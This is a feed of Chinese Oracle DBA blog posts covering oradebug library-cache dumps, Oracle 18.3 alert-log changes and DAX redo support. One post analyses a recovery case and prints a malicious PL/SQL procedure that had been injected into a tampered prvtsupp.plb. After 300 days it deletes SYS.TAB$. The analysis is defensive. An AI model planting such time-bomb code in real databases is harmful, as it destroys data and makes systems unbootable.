123
 123

Tip: 看不到本站引用 Flickr 的图片? 下载 Firefox Access Flickr 插件 | AD: 订阅 DBA notes --

2018-07-31 Tue

11:09 内核分析:使用 oradebug 转储 library_cache 内存信息 (9032 Bytes) » Oracle Life

作者:eygle 发布在 eygle.com

Shared_Pool 是 Oracle SGA中最复杂的一部分,在分析很多 library cache 问题时,经常会用到转储命令。

oradebug dump library_cache 的常用级别包括 (注意,一定要测试之后再采用,要先看看 library cache 大小,如果库缓存非常大,这个转储的日志可能会是 Huge 的):

等级1:关键结构的统计汇总信息

等级2:HASH CHAIN 信息

等级4:持有对象结构 Bucket 信息,可以看到一个对象的lock,pin,mutex信息。

等级8:Level 4 + 相关数据块

等级16:Level 8 + 每个对象的 Heap 信息

等级32:Level 16 + 完整的 Heap DUMP

使用 oradebug 可以很方便的转储 library_cache 信息,示范如下:

[oracle12c@enmotech ~]$ sqlplus / as sysdba

SQL*Plus: Release 12.2.0.1.0 Production on Tue Jul 31 10:17:00 2018

Copyright (c) 1982, 2016, Oracle. All rights reserved.

Connected to:

Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production

SQL> oradebug setmypid

Statement processed.

SQL> oradebug dump library_cache 1;

Statement processed.

SQL> select value from v$diag_info where name like 'Defa%';

VALUE

--------------------------------------------------------------------------------

/oracle12c/db/diag/rdbms/enmo12c/enmo12c/trace/enmo12c_ora_7277.trc

SQL> !

[oracle12c@enmotech ~]$ cat /oracle12c/db/diag/rdbms/enmo12c/enmo12c/trace/enmo12c_ora_7277.trc

Trace file /oracle12c/db/diag/rdbms/enmo12c/enmo12c/trace/enmo12c_ora_7277.trc

Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production

Build label: RDBMS_12.2.0.1.0_LINUX.X64_170125

ORACLE_HOME: /u01/oracle12c/db/product/12.2.0/dbhome_1

System name: Linux

Node name: enmotech

Release: 3.10.0-514.6.2.el7.x86_64

Version: #1 SMP Thu Feb 23 03:04:39 UTC 2017

Machine: x86_64

Instance name: enmo12c

Redo thread mounted by this instance: 1

Oracle process number: 8

Unix process pid: 7277, image: oracle@enmotech (TNS V1-V3)

*** 2018-07-31T10:17:07.023214+08:00 (CDB$ROOT(1))

*** SESSION ID:(982.48265) 2018-07-31T10:17:07.023262+08:00

*** CLIENT ID:() 2018-07-31T10:17:07.023270+08:00

*** SERVICE NAME:(SYS$USERS) 2018-07-31T10:17:07.023277+08:00

*** MODULE NAME:(sqlplus@enmotech (TNS V1-V3)) 2018-07-31T10:17:07.023285+08:00

*** ACTION NAME:() 2018-07-31T10:17:07.023292+08:00

*** CLIENT DRIVER:(SQL*PLUS) 2018-07-31T10:17:07.023298+08:00

*** CONTAINER ID:(1) 2018-07-31T10:17:07.023305+08:00

Processing Oradebug command 'setmypid'

*** 2018-07-31T10:17:07.023346+08:00 (CDB$ROOT(1))

Oradebug command 'setmypid' console output: <none>

*** 2018-07-31T10:17:13.956173+08:00 (CDB$ROOT(1))

Processing Oradebug command 'dump library_cache 1'

LIBRARY CACHE DUMP

LIBRARY CACHE STATISTICS:

namespace gets hit ratio pins hit ratio reloads invalids

-------------- --------- --------- --------- --------- ---------- ----------

SQL AREA 1217773 0.891 21268193 0.985 55850 35229

TABLE/PROCEDURE 881146 0.961 2039858 0.909 76152 0

BODY 192474 0.993 289193 0.994 348 0

TRIGGER 61079 0.986 61077 0.986 2 1

INDEX 152995 0.979 139263 0.816 12489 0

CLUSTER 20622 0.992 20963 0.992 0 0

其他级别,不做详细列举。

参考文章:

从Library Cache等待事件深入剖析SQL解析 http://www.enmotech.com/web/detail/1/288/2.html

相关文章|Related Articles

10:42 Oracle18.3:透过告警日志从安装初始化过程看 18c 的新改变 (17315 Bytes) » Oracle Life

作者:eygle 发布在 eygle.com

Oracle Database 18c 已经正式对外发布,第一个公共版本的版本号是 18.3 ,让我们从 18.3 的安装过程来一睹 18c 的改变。

1.png

首先我们看看版本,18c 发布的第一个版本是 18.1.0 :

SQL> select banner_full from v$version;

BANNER_FULL

--------------------------------------------------------------------------------

Oracle Database 18c Enterprise Edition Release 18.0.0.0.0 - Production

Version 18.1.0.0.0

而现在发布的版本,演进到 18.3.0 :

[oracle@sdb0 ]$ sqlplus / as sysdba

SQL*Plus: Release 18.0.0.0.0 - Production on Wed Jul 25 21:18:09 2018

Version 18.3.0.0.0

SQL> select banner_full from v$version;

BANNER_FULL

--------------------------------------------------------------------------------

Oracle Database 18c Enterprise Edition Release 18.0.0.0.0 - Production

Version 18.3.0.0.0

在MOS 上已经更新了产品发布计划,HP-UX 和 AIX 版本将在 8 月份发布:

微信图片_20180726102023.jpg

当然我们不要恐惧 Oracle 版本的快速变化,再来看看这个版本路线图,18c 相当于 12.2.0.2 ,而 19c 则相当于 12.2.0.3 ,而 20c 将会是一个全新的版本:

3.png

整个数据库的安装过程非常流畅,没有遇到任何问题,我选择创建了一个 SID 为 enmo ,包含一个 PDB ,PDB 的名称是 enmotech :

4.jpg

完成安装之后,让我们从数据库的告警日志开始,看看 18.3 中带来了什么改变。当然,如果您没有安装过 18.1 ,那么事实上这些就是 18c 的改变。

改变一:详细的补丁信息

在告警日志中,数据库创建完成之后,会输出详细的补丁信息,告知数据库中已经应用的补丁列表,我删节了大部分BUG号,这是一个超长的列表。有同事说:看到修复了这么多BUG,就放心了。(其实 12.2 初始版本也有这个特性)。

注意,这里的 Patch ID 28090523 就是 2018年7月 17日发布的 RU 版本,可以从 MOS 上找到详细的信息:

===========================================================

Dumping current patch information

===========================================================

Patch Id: 28090523

Patch Description: Database Release Update : 18.3.0.0.180717 (28090523)

Patch Apply Time: 2018-07-19T01:39:24+08:00

Bugs Fixed: 9062315,13554903,21547051,21766220,21806121,23003564,23310101,

24489904,24689376,24737581,24925863,25035594,25035599,25287072,25348956,

25634405,25726981,25743479,25824236,25929650,25943740,26226953,26336101,

26423085,26427905,26450454,26476244,26598422,26615291,26646549,26654411,

...

28072130,28098865,28106402,28132287,28169711,28174827,28184554,28188330,

28264172

Patch Id: 28090553

Patch Description: OCW RELEASE UPDATE 18.3.0.0.0 (28090553)

Patch Apply Time: 2018-07-19T01:40:01+08:00

Bugs Fixed: 12816839,18701017,22734786,23698980,23840305,25709124,25724089,

26299684,26313403,26433972,26527054,26586174,26587652,26647619,26827699,

26860285,26882126,26882316,26943660,26996813,27012915,27018734,27032726,

27034318,27040560,27080748,27086406,27092991,27098733,27106915,27114112,

...

27609819,27625010,27625050,27627992,27654039,27657467,27657920,27668379,

27906509,27931506,27935826,27941514,27957892,27978668,27984314,27993298,

28023410,28025398,28032758,28039471,28039953,28045209,28099592,28109698,

28174926,28182503,28204423,28240153

Patch Id: 27923415

Patch Description: OJVM RELEASE UPDATE: 18.3.0.0.180717 (27923415)

Patch Apply Time: 2018-07-19T01:41:38+08:00

Bugs Fixed: 27304131,27461740,27539876,27636900,27642235,27952586

Patch Id: 27908644

Patch Description: UPDATE 18.3 DATABASE CLIENT JDK IN ORACLE HOME TO JDK8U171

Patch Apply Time: 2018-07-19T01:44:11+08:00

Bugs Fixed: 27908644

===========================================================

这个封包,在 MOS 上就是包含以下这几个补丁列表:

Build Date:     July 17, 2018 16:00

Software home of Oracle Database software
This zip file contains Database software version: 18.3.0.0.180717
To use this patch with OEDA, copy this file to OEDA's WorkDir before running OEDA.
Refer to the Exadata database machine owners guide for information about the Oracle Exadata deployment assistant
Patches installed:
27923415;OJVM RELEASE UPDATE: 18.3.0.0.180717 (27923415)
28090523;Database Release Update : 18.3.0.0.180717 (28090523)
28090553;OCW RELEASE UPDATE 18.3.0.0.0 (28090553)

整个补丁集合也就是我们今天公开下载到的,4.4 G 的补丁安装包,MOS 上的下载次数是 0 ,我贡献第一个下载:

5.png

改变二:Redo 日志的 DAX 存储支持

在告警日志中,可以看到如下的信息:

Redo log for group 1, sequence 1 is not located on DAX storage

Redo log for group 3, sequence 12 is not located on DAX storage

也就是数据库检查,Redo 日志没有位于 DAX 存储设备,也就是说,Oracle 支持将 Redo 放置于 Direct Access Storage (DAX) 上,更好的支持 NVRAM 等高速存储设备(这个改进不确认,需要测试验证)。

初始化参数中, _simulate_dax_storage 可以用于模拟 DAX 存储,具体需要测试看:

SQL> select ksppinm,ksppdesc from x$ksppi where ksppinm like '%dax%';

KSPPINM

--------------------------------------------------------------------------------

KSPPDESC

----------------------------------------------------------------------------------

_simulate_dax_storage

Simulate log on DAX storage

同时,在进行网络传输时,增加了 日志网络传输调节 的新特性:

2018-07-25T18:36:51.730072+08:00

.... (PID:14041): Redo network throttle feature is disabled at mount time

强势插播广告:

6.jpg

改变三:创建DBaaS 和 SaaS lockdown Profile

在 Oracle 12.2 中引入了安全增强,lockdown profile ,进行了更细粒度的权限控制:

2018-07-25T17:37:46.285748+08:00

create lockdown profile PRIVATE_DBAAS

Completed: create lockdown profile PRIVATE_DBAAS

create lockdown profile SAAS

Completed: create lockdown profile SAAS

create lockdown profile PUBLIC_DBAAS

Completed: create lockdown profile PUBLIC_DBAAS

以下通过一个简单的测试来看看这个特性的基本功能。 首先在CDB下创建一个profile,这个Profile将对全局可用:

SQL> connect / as sysdba
Connected.
SQL> CREATE LOCKDOWN PROFILE enmotech;
Lockdown Profile created.

SQL> ALTER LOCKDOWN PROFILE enmotech DISABLE STATEMENT = ('ALTER SYSTEM');
Lockdown Profile altered.

连接到 PDB YHEM,在 PDB 级别启用 lockdown profile :

SQL> connect sys/oracle@yhem as sysdba
Connected.
SQL> ALTER SYSTEM SET PDB_LOCKDOWN = enmotech;
System altered.

测试一下,可以看到所有的ALTER SYSTEM的操作都被禁用了:

SQL> alter system checkpoint;
alter system checkpoint
*
ERROR at line 1:
ORA-01031: insufficient privileges

SQL> alter system set optimizer_mode = first_rows_1;
alter system set optimizer_mode = first_rows_1
*
ERROR at line 1:
ORA-01031: insufficient privileges

同事我们注意到 APP Container 被初始化:

alter pluggable database application APP$CDB$SYSTEM begin install '1.0'

Completed: alter pluggable database application APP$CDB$SYSTEM begin install '1.0'

alter pluggable database application APP$CDB$SYSTEM end install '1.0'

Completed: alter pluggable database application APP$CDB$SYSTEM end install '1.0'

改变四:创建过程中的缺省压缩

在数据库创建过程中,可以看到对于 SYSTEM 、SYSAUX 表空间,启用了所有操作压缩:

alter tablespace system default compress for all operations

Completed: alter tablespace system default compress for all operations

PDB$SEED(2):alter tablespace system default compress for all operations

PDB$SEED(2):Completed: alter tablespace system default compress for all operations

alter tablespace sysaux default compress for all operations

Completed: alter tablespace sysaux default compress for all operations

PDB$SEED(2):alter tablespace sysaux default compress for all operations

PDB$SEED(2):Completed: alter tablespace sysaux default compress for all operations

表压缩是 Oracle 9i 就有的特性,11g 做出了很多增强,OLTP 压缩需要 高级压缩 选件,是一个收费的组件。

所以在数据库创建完成之后,这个压缩被禁用了,当然也一定是基于性能的考虑:

7.png

但是创建数据库过程中的压缩,是第一次被观察到。

SYSTEM 还有一个特殊之处,被启用了 force logging :

2018-07-25T17:27:48.447861+08:00

alter tablespace system force logging

Completed: alter tablespace system force logging

PDB$SEED(2):alter tablespace system force logging

PDB$SEED(2):Completed: alter tablespace system force logging

改变五:增加详细的环境控制信息

在数据库启动时,能够看到详细的环境控制信息,之前发布的Exadata版本就是通过这些信息控制安装的:

2018-07-25T17:27:16.850169+08:00

Initial number of CPU is 10

Number of processor cores in the system is 10

Number of processor sockets in the system is 10

Capability Type : Network

capabilities requested : 1 detected : 0 Simulated : 0

Capability Type : Runtime Environment

capabilities requested : 400000FF detected : 40000000 Simulated : 0

Capability Type : Engineered Systems

capabilities requested : 3 detected : 0 Simulated : 0

改变六:SCN兼容性版本信息

虽然这不是 18c 才有的,但是因为其重要性,列出在这里:

Database SCN compatibility initialized to 1

目前 18c 采用的是 兼容性版本 1,当然这个参数是动态调整的。

具体参考之前的文章:Oracle SCN 兼容性版本解密

改变七:全数据库缓存

全数据库缓存是 12c 的新特性,之前未注意是否会被缺省启用,在 18.3 的初始按照中,可以看到如下过程,全库缓存被启用,也就是说如果内存足够,Oracle 会尽量将全部数据库内容缓存到内存中去:

Buffer Cache Full DB Caching mode changing from FULL CACHING DISABLED to FULL CACHING ENABLED

我的 Demo 库由于 Cache 设置过低,所以最后全库缓存被禁用:

2018-07-25T17:27:24.364156+08:00

Buffer Cache Full DB Caching mode changing from FULL CACHING ENABLED to FULL CACHING DISABLED

Full DB Caching disabled: DEFAULT_CACHE_SIZE should be at least 456 MBs bigger than current size.

Oracle 18.3 已至,管中窥豹,让我们一起开始 18c 自治数据库之旅吧。

相关文章|Related Articles

2018-07-30 Mon

11:02 数据恢复:被注入的软件及 ORA-600 16703 灾难的恢复 (13518 Bytes) » Oracle Life

作者:eygle 发布在 eygle.com

链接:http://www.enmotech.com/services/service.html

原文链接:http://www.enmotech.com/web/detail/1/521/1.html

最近帮助一个客户恢复数据库,遇到了如下这个问题。让我们再一次惊醒于数据安全,如果不做好防范,问题总是会来得猝不及防。

1.jpg

客户在尝试启动数据库时,是这样一个 ORA-600 错误映入眼帘,反复重试无法消除问题,历史备份,同样存在问题,客户毫无防范的,陷入一场数据库灾难:

SQL*Plus: Release 11.2.0.4.0 Production on Fri Jul 20 22:12:34 2018

Copyright (c) 1982, 2013, Oracle. All rights reserved.

Connected to an idle instance.

SQL> startup mount;

ORACLE instance started.

Database mounted.

SQL> alter database open;

alter database open

*

ERROR at line 1:

ORA-01092: ORACLE instance terminated. Disconnection forced

ORA-00704: bootstrap process failure

ORA-00704: bootstrap process failure

ORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [],

[], [], [], [], [], []

Process ID: 1236

Session ID: 1 Serial number: 5

按照我的思路,第一步是启用 10046 跟踪一下问题的出现位置:

3.jpg

从跟踪文件中,可以找到如下信息,最后执行的是 obj$ 的对象访问,绑定变量传入值是 20 ,

4.jpg

注意,最后出错前的递归查询,其 BINS # 605191324 事实上对应的就是 bootstrap$ 的 初始化过程:

PARSING IN CURSOR #605191324 len=188 dep=1 uid=0 oct=1 lid=0 tim=77597981 hv=4006182593 ad='23987650' sqlid='32r4f1brckzq1'

create table bootstrap$ (

END OF STMT

PARSE #605191324:c=0,e=372,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,plh=0,tim=77597979

EXEC #605191324:c=0,e=78,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,plh=0,tim=77598086

CLOSE #605191324:c=0,e=4,dep=1,type=0,tim=77598125

在这个递归过程中,取得所有引导数据库启动所需SQL,然后再顺序加载内容,完成内存初始化。

最后出现错误之处是 20 号对象,在数据库中是 ICOL$ 对象:

SQL> select object_name from dba_objects where object_id=20;

OBJECT_NAME

--------------------------------------------------------------

ICOL$

bootstrap$ 中,可以找到这条记录,在初始化这个对象的过程中,数据库在 TAB$ 中找不到这条记录,就出现了 16703 的错误:

CREATE TABLE ICOL$("OBJ#" NUMBER NOT NULL,"BO#" NUMBER NOT NULL,"COL#" NUMBER NOT NULL,"POS#" NUMBER NOT NULL,"SEGCOL#" NUMBER NOT NULL,"SEGCOLLENGTH" NUMBER NOT NULL,"OFFSET" NUMBER NOT NULL,"INTCOL#" NUMBER NOT NULL,"SPARE1" NUMBER,"SPARE2" NUMBER,"SPARE3" NUMBER,"SPARE4" VARCHAR2(1000),"SPARE5" VARCHAR2(1000),"SPARE6" DATE) STORAGE ( OBJNO 20 TABNO 4) CLUSTER C_OBJ#(BO#)

在进程的转储文件中,也可以看懂对于 TAB$ 的递归访问,绑定变量是 20 :

5.jpg

再来看看 ORA-600 错误,几个参数含义如下:1403 指记录未发现;20 指对象号:

ORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [],

[], [], [], [], [], []

$ oerr ora 1403

01403, 00000, "no data found"

// *Cause: No data was found from the objects.

// *Action: There was no data from the objects which may be due to end of fetch.

所以,现在问题很清楚了,是因为 20 号对象递归时找不到,这是被恶意删除了。

这就是此前曾经被披露的,数据库安装介质被注入的问题,惜分飞曾经记录过这个问题。

强烈警示在下载Oracle安装介质时,一定要从可靠来源下载,Oracle 官网是最佳途径。当从未知来源获得安装软件时,你就可能面临着注入风险。这一次的客户就是遭遇到了这个问题的威胁。

推荐阅读:防范攻击 加强管控 - 数据库安全的16条军规

在这个案例中,被注入的文件是:

$ORACLE_HOME/rdbms/admin/prvtsupp.plb

这个程序包文件最后被注入了一个触发器,这个启动触发器,当数据库启动之后被触发执行:

6.jpg

这个触发器执行的是前面的加密代码,存储过程,这个存储过程解密后的代码如下,其代码逻辑就是,判断数据库的创建时间大于 300 天,然后创建一个备份表,备份 tab$ 内容之后,清空 TAB$ 表。

此后,数据库当然就无法启动了:

PROCEDURE DBMS_SUPPORT_DBMONITORP IS

DATE1 INT :=10;

BEGIN

SELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE;

IF (DATE1>=300) THEN

EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select * from sys.tab$';

DELETE SYS.TAB$;

COMMIT;

EXECUTE IMMEDIATE 'alter system checkpoint';

END IF;

END;

所以我们再次提示大家:由于这个攻击,具有潜伏性,如果你是从网络下载了Oracle安装包,尤其是 11.2.0.4 版本,建议用户检查你的数据库,确保安全。

由于 Oracle 的 11.2.0.4 版本要从 MOS 上下载,需要具有Oracle的授权,所以很多非授权用户从其他来源下载,就面临了风险。

7.jpg

那么怎么解决这个问题呢?

其实也很简单,当删除了 TAB$ 表中的内容后,数据库是启动引导遇到故障,所以我们只要找到一个良好运行的同平台、同版本 SYSTEM 文件,将引导块全部复制回来,就可以启动数据库了,以下是我的恢复过程截取的一部分BLOCK:

8.jpg

而且,注意,这一次的黑客是很有分寸的,在删除之前备份了 TAB$ 的内容,所以只要启动数据库,从备份表中(ORACHK'||SUBSTR(SYS_GUID,10)||' )恢复 TAB$ 的内容,数据库就可以完美的修复回来。

这和 2016 年,比特币勒索事件不同,那个案例的代码是 Truncate 了用户数据表,处理起来难度更大,参考:知己知彼-关于Oracle安全比特币勒索问题揭秘和防范

以下是整个恢复过程前台的最后两个阶段,当使用 bbed 复制修复后,启动数据库时,收到提示,要将数据库以 upgrade 模式启动,这是某个标志的影响:

SQL> startup

ORACLE instance started.

Total System Global Area 531476480 bytes

Fixed Size 1406404 bytes

Variable Size 318769724 bytes

Database Buffers 205520896 bytes

Redo Buffers 5779456 bytes

Database mounted.

ORA-01092: ORACLE instance terminated. Disconnection forced

ORA-00704: bootstrap process failure

ORA-39700: database must be opened with UPGRADE option

Process ID: 1648

Session ID: 1 Serial number: 5

upgrade 模式启动,数据库成功完美打开:

SQL> startup upgrade;

ORACLE instance started.

Total System Global Area 531476480 bytes

Fixed Size 1406404 bytes

Variable Size 318769724 bytes

Database Buffers 205520896 bytes

Redo Buffers 5779456 bytes

Database mounted.

Database opened.

SQL> select * from dual;

D

-

X

最后总结一下,这个案例给我们的警示:

  1. 遵守规则和规范很重要,保护知识产权,规范部署,天然可以防范很多问题
  2. 深入学习、知识储备,是从容应对问题的根本之道,理解了原理,才能举重若轻,触类旁通;
  3. 只有按时备份还不够,定期验证检查非常重要
  4. 随时关注数据库中的特殊对象和变更,是非常重要的;

数据安全的关注,时刻不能停止!

相关文章|Related Articles

2018-07-27 Fri

12:05 从 Oracle 18.3 的 DAX 存储支持看 Redo 优化 (3960 Bytes) » Oracle Life

作者:eygle 发布在 eygle.com

2018年7月,Oracle Database 18c 的公众版本如其发布,当然事实上,此前的Exadata版本已经让很多技术爱好者尝到了鲜。

我们看看版本,18c 发布的第一个版本是 18.1.0 :

SQL> select banner_full from v$version;

BANNER_FULL

--------------------------------------------------------------------------------

Oracle Database 18c Enterprise Edition Release 18.0.0.0.0 - Production

Version 18.1.0.0.0

而现在发布的版本,演进到 18.3.0 :

[oracle@sdb0 ]$ sqlplus / as sysdba

SQL*Plus: Release 18.0.0.0.0 - Production on Wed Jul 25 21:18:09 2018

Version 18.3.0.0.0

SQL> select banner_full from v$version;

BANNER_FULL

--------------------------------------------------------------------------------

Oracle Database 18c Enterprise Edition Release 18.0.0.0.0 - Production

Version 18.3.0.0.0

对于Oracle数据库来说,非常重要的优化就是关于 Redo 日志的优化,如果你留意过,告警日志中记录了这样的新记录:

Redo log for group 1, sequence 1 is not located on DAX storage

Redo log for group 3, sequence 12 is not located on DAX storage

也就是数据库检查,Redo 日志没有位于 DAX 存储设备,也就是说,Oracle 支持将 Redo 放置于 Direct Access Storage (DAX) 上,更好的支持 NVRAM 等高速存储设备。

初始化参数中, _simulate_dax_storage 可以用于模拟 DAX 存储:

SQL> select ksppinm,ksppdesc from x$ksppi where ksppinm like '%dax%';

KSPPINM

--------------------------------------------------------------------------------

KSPPDESC

----------------------------------------------------------------------------------

_simulate_dax_storage

Simulate log on DAX storage

18.3 里的 redo on DAX 支持目前仅限于Exadata存储节点里的 NVRAM,对写日志做了基于RDMA的优化。

但真正可以将数据库文件放在NVRAM上的 Exadata 硬件现在还不存在,但是数据库软件已经先行做出了支持。

这意味着,在未来 Oracle 的Redo 性能又将获得大幅度的提升。

更详细的内容参考:

http://www.enmotech.com/web/detail/1/519/1.html

http://www.enmotech.com/services/service.html

相关文章|Related Articles